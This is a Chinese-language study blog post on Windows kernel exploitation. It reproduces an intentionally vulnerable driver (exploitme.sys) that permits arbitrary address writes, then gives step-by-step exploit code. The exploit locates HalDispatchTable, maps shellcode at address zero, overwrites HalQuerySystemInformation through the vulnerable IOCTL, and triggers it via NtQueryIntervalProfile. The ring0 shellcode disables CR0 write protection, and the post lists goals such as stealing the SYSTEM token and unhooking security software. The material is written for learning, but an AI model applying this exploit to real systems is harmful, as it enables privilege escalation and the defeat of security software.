内核漏洞利用技术
22.1 利用实验之 exploitme.sys
首先给出实验代码,这里的代码经过作者微小的修改,但是基本与书上一致,看懂这里的代码需要有一点驱动编程基础。
#include<ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME, 0x800, METHOD_NEITHER, FILE_WRITE_ACCESS)
//创建设备对象指针
PDEVICE_OBJECT g_DeviceObject;
/*
卸载函数
输入: 驱动指针
输出:无
*/
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
IoDeleteDevice(g_DeviceObject);
KdPrint(("卸载驱动!"));
}
/*
驱动分发函数
输入: 驱动对象的指针,Irp指针
输出:NTSTATUS 类型的结果
*/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DriverObject,IN PIRP pIrp )
{
PIO_STACK_LOCATION pIrpStack;//当前的 pIrp 栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl 的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp 的 IO 状态指针
NTSTATUS ntStatus = STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus = &pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch (ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if (inputBufferLength >= 4 && outputBufferLength >= 4)
{
*(ULONG*)UserBuffer = *(ULONG*)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return ntStatus;
}
/*
驱动入口函数
输入: 驱动对象的指针,服务程序对应的注册表路径
输出:NTSTATUS 类型的结果
*/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i = 0;
//打印一句调试信息
KdPrint(("进入主程序咯!"));
//__debugbreak();
//设置驱动对象卸载函数
driverObject->DriverUnload = DriverUnload;
//创建设备
RtlInitUnicodeString(&devName, DEVICE_NAME);
ntStatus = IoCreateDevice(driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0,TRUE,
&g_DeviceObject
);
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName, DEVICE_LINK);
ntStatus = IoCreateSymbolicLink(&symLinkName, &devName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice(g_DeviceObject);
return ntStatus;
}
//设置该驱动对象的分发函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
从上述代码可以看出,该explotime.sys 驱动创建的设备名称为“\Device\ExploitMe”,符号链接名称为“DosDevices\ExploitMe”。因此在Ring3里就可以通过设备的符号链接名称”\.\ExploitMe”来打开设备并得到设备句柄,进而使用DeviceIoControl函数来调用驱动的分发函数,与驱动进行交互。
这里的分发函数DrvDispatch中仅仅只处理了一个IoControlCode,即 CTL_CODE(FILE_DEVICE_EXPLOIT_ME, 0x800, METHOD_NEITHER, FILE_WRITE_ACCESS)
处理方式单独摘下,为:
if (inputBufferLength >= 4 && outputBufferLength >= 4)
{
*(ULONG*)UserBuffer = *(ULONG*)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
由资料去了解METHOD_NEITHER 内存访问方式。这里我们直接说作用,使用该内存访问方式会导致 Type3InputBuffer 表示Ring3输入缓冲区指针, UserBuffer 表示Ring3输出缓冲区指针, inputBufferLength 表示Ring3输入缓冲区的大小(字节数),outputBufferLength 表示Ring3输出缓冲区的大小。即该处理实际上是将Ring3输入缓冲区的第一个ULONG数据写入Ring3输出缓冲区的第一个ULONG数据中。输出和输出都是由Ring3程序来指定的,读写却是在Ring0中完成的。因此Ring3可以将输出缓冲区地址指定为该内核高端地址,这里相当于篡改了内核中任意地址的数据,而且可以纂改为任何值。
很多的漏洞类型都可以归纳为该漏洞模型,属于“任意地址写任意数据内核漏洞”。
22.2 内核漏洞利用思路
从漏洞的利用来看,远程拒绝服务和本地拒绝五福类型的内核漏洞利用起来比较简单,不必过多地考虑“构造”。相反,远程任意代码执行和本地权限提升类型的内核漏洞利用起来往往比较复杂,需要有精心的构造,包括漏洞触发条件的构造,相关数据结构的构造等。
从漏洞公布的数量来看,远程任意代码执行类型的内核漏洞已经很少见了,更多的是本地权限提升类型的内核漏洞。驱动程序编译器默认的都是开启GS选项,直接利用缓冲区溢出比较困难,因此我们更希望能够篡改系统内核数据来执行Ring0 Shellcode 的漏洞,进而达到漏洞的利用目的。图22.2.1展示了目前常见的内核漏洞利用思路。
能够篡改系统内核内存数据或执行Ring0 Shellcode的漏洞,目前主要有这三种:任意地址写任意数据、固定地址写任意数据和任意地址写固定数据的内核漏洞。其中任意地址写仍难以数据类型内核漏洞必定能够造成本地权限提升,而后两种漏洞如果在实际情形下利用得当,也可以造成本地权限提升。这三种类型的漏洞也是驱动程序所特有的。
22.3 内核漏洞的利用方法
目前常见的内核漏洞利用方法主要有两种:一是篡改内核内存数据;二是执行Ring0 Shellcode。
在实际利用中,第一种方法并不推荐。因为很多重要的内核内存数据都是不可直接被改写的。如果内存所在页的属性被标记为只读,并且CR0寄存器的WP位设置为1时,是不能直接写入该内存的。如果一定要篡改该内存,需要采用第二种方法,在Ring0 Shellcode中,首先将CR0的寄存器的WP位置0,即禁用内存保护,篡改完后,再恢复WP位即可。
第二种方法,我们知道在Ring0中有很多内核API函数,这些函数大多保存在一些表中,并且这个表也是由内核到处的。例如SSDT、halDispatchTable等。乳沟能修改这些表中的内核API函数地址为事先准备好的ShellCode存放的地址,然后在本进程中调用这个内核API函数,这样便实现了在Ring0 权限下执行Shellcode的目的。
在使用该方法时,需要注意在选用内核API的时候,一定要选用冷门函数。因为我们的Shellcode保存在自己进程的Ring3内存地址中。别的进程无法访问到,别的进程一旦也调用这个内核API函数,就会导致内存访问错误或内核崩溃。
这里我们尝试对22.1节中的漏洞进行利用。该漏洞能够使得向任意地址写任意数据,例如可以将HalDispatchTable表中的第一个函数HalQuerySystemInformation入口地址篡改为0,需要狗仔的DeviceControl函数的主要参数如表22-3-1所示。
这里HalDispatchTable是内核模块hal.dll导出的一个函数表,具体结构如下所示:
typedef struct {
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
pHalGetAcpiTable HalGetCachedAcpiTable;
pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;
这个结构中的第一个ULONG是一个版本号,第二个就是我们需要关注的HalQuerySystemInformation 函数的地址。所以针对该漏洞的利用方法可以概括为: 首先在当前进程(exploit.exe)的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable中的HalQuerySystemInformation函数地址改写为0x0,最后再调用该函数的上层封装函数NtQueryIntervalProfile,这样就会导致事先准备好的Ring0 Shellcode被执行。
首先解释一下这两个函数的调用关系。只要调用 NtQueryIntervalProfile函数,输入的第一个参数ProfileSource不等于ProfileTime和ProfileAlignmentFixup那么最终就会调用HalQuerySystemInformation函数。由于利用内核漏洞的Shellcode运行在Ring0环境下,因此称为Ring0 Shellcode。
Ring0 Shellcode常见的用法可以整理为一下几种方式。
- 提权到SYSTEM。修改当前进程的token为SYSTEM进程的token,这样当前进程便具备了系统最高权限。
- 恢复内核Hook/Inline Hook。目前大多数系统都安装了各式各样的安全软件,二这些安全软件也大部分是通过Hook/Inline Hook系统内核函数来实现防御的。因此可以通过恢复这些内核Hook/InlineHook来突破安全软件,甚至瓦解整个防御体系。
- 添加调用门/中断门/任务门/陷阱门。四门机制是出入Ring0/Ring3的重要手段。若能在系统中成功添加一个门,就能在后续代码中自由出入Ring0和Ring3。
22.4 内核漏洞利用实战与编程
前两节介绍了内核漏洞的利用思路和方法。接下来将展示整个过程和代码细节。
回顾漏洞。该漏洞存在于分发函数中对IOCTL_EXPLOIT_ME(0x8888A003) 的IoControlCode 处理过程。由于IOCTL_EXPLOIT_ME 的最后两位为3,代表所用通信方式为METHON_NEITHER方式。而该分发函数中并没有使用ProbeFoRead和ProbeForWtire函数探测输入输出地址是否可读和可写。因此该漏洞是一个非常典型的”任意地址写任意数据“类型的内核漏洞。这里采用执行Ring0 Shellcode 方法。利用过程大致分为以下5个步骤。
1. 获取HalDispatchTable表地址 x
HalDispatchTable 是由内核模块导出的。要得到HalDispatchTable在内核中的准确地址,首先要得到内核模块的基址,再加上HalDipatchTable与内核模块基址的偏移。
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
ULONG ReturnLength = 0;
ULONG ImageBase = 0;
PVOID MappedBase = NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH]={0};
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable=NULL;
PVOID xHalQuerySystemInformation=NULL;
ULONG ShellCodeSize = (ULONG)EndofMyShellCode-(ULONG)MyShellCode;
PVOID ShellCodeAddress=NULL;
UNICODE_STRING DllName={0};
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
int RetryTimes=10;
//
//获取 内核模块基址 和 内核模块名称
//
//获取内核模块列表数据大小到 ReturnLength
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
return;
//申请内存 存放内核模块列表数据
ModuleInformation=
(SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
if(!ModuleInformation)
return;
//获取内核模块列表数据到 ModuleInformation
NtStatus = ZwQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
free(ModuleInformation);
return;
}
//从内核模块列表获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
RtlMoveMemory(ImageName,
(PVOID)(ModuleInformation->Module[0].ImageName +
ModuleInformation->Module[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);
//释放存放内核模块列表的内存
free(ModuleInformation);
//获取内核模块的 UnicodeString
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
//
//加载内核模块到本地进程
//
NtStatus = (NTSTATUS)LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
return ;
//
//获取内核 HalDispatchTable 函数表地址
//
HalDispatchTable=GetProcAddress((HMODULE)MappedBase,"HalDispatchTable");
if(HalDispatchTable==NULL)
return ;
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable-
(ULONG)MappedBase +ImageBase);
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable +
sizeof(ULONG));
//
//卸载本地进程中的内核模块
//
LdrUnloadDll((PVOID)MappedBase);
整理一下过程,首先枚举了内核中已加载的模块。获取长度,再根据获取到的长度申请内存和枚举模块,最后释放内存。方法为:
//功能号为11,先获取所需的缓冲区大小
ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&needlen);
//申请内存
ZwAllocateVirtualMemory(NtCurrentProcess(),(PVOID*)&pBuf,0,&needlen,MEM_COMMIT,PAGE_READWRITE);
//再次调用
ZwQuerySystemInformation(SystemModuleInformation,(PVOID)pBuf,truelen,&needlen);
......
//最后,释放内存
ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&pBuf,&needlen,MEM_RELEASE);
然后获取内核中第一个模块的基址和名称,通过内核模块的名称将该模块加载到本地进程。然后从该模块获取想要的函数表地址,进而得到目标函数地址。然后根据函数地址减去函数在进程中模块的基址得到函数的偏移,再用该偏移加上模块在内核里的基址即可得到该函数在内核中的地址。
这里x就是HalDispatchTable在内核中的地址,通过该地址x,那么x+4就是我们要找到HalQuerySystemInformation函数地址,所以y=x+4,y就是HalQuerySystemInformation函数地址。
2. 在0x0处申请一段内存,并写入Ring0 Shellcode
在指定的地址申请内存,推荐使用ZwAllocateVirtualMemory函数,该函数的第二个参数BaseAddress是一个指针,指向的便是要申请的内存的地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。
//
//申请本地进程内存 存放 Ring0 Shellcode
//
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = ZwAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
return ;
//存放前面写好的 shellcode
RtlMoveMemory(ShellCodeAddress,(PVOID)MyShellCode,ShellCodeSize);
通过该代码,如果不发生错误的话,可以在0X0处申请到ShellCodeSize大小的内存,然后将准备好的Ring0 Shellcode复制到该内存处。
3. 利用漏洞地址向y写入0x0
目标地址y已经得到,这里就利用驱动漏洞,向目标地址y写入0x0,代码如下:
//
//触发漏洞并利用
//
//设备名称的 Unicode 字符串
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
//打开 ExploitMe 设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//利用漏洞将 HalQuerySystemInformation 函数地址改为0
InputData = 0;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
4. 调用NtQueryIntervalProfile函数
通过上面第三步,已经将HalDispatchTable表中的第一个函数地址修改为了0x0,也就是说此时调用NtQueryInterValProfile函数,恰好会落在0x0处内存事先准备好的Ring0 Shellcode。
为了确保Ring0 Shellcode被调用,我们在Ring0 Shellcode中将全局变量 g_isRing0ShellcodeCalled设置为1,如果在调用完NtQueryInterValProfile后,g_isRingShellcodeCalled被设置为1,则说明Ring0 shellcode被成功调用。漏洞利用成功。
//漏洞利用
while(RetryTimes>0)
{
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus==0)
{
printf("NtQueryIntervalProfile ok!\n");
}
Sleep(1000);
if(g_isRing0ShellcodeCalled==1)
break;
RetryTimes--;
}
//判断漏洞利用是否成功
if(RetryTimes==0 && g_isRing0ShellcodeCalled==0)
printf("漏洞利用失败!\n");
else
printf("漏洞利用成功!\n");
5. Ring0 Shellcode被执行
这里给出 Ring0 Shellcode
NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
//do something in ring0 ......
//恢复内核写保护
_asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
//将全局变量置为 1,说明 Ring0 Shellcode 已经被调用了
g_isRing0ShellcodeCalled=1;
return 0;
}
void EndofMyShellCode(){}
经过艰难的代码编译阶段,成功利用了!不过书上所截的源代码有问题,需要经过一些修改。
至于后续提权的Shellcode就不测试了,因为只要达到能够执行任意代码的程度,只是更换Shellcode的问题了。
明日计划
继续学习内核漏洞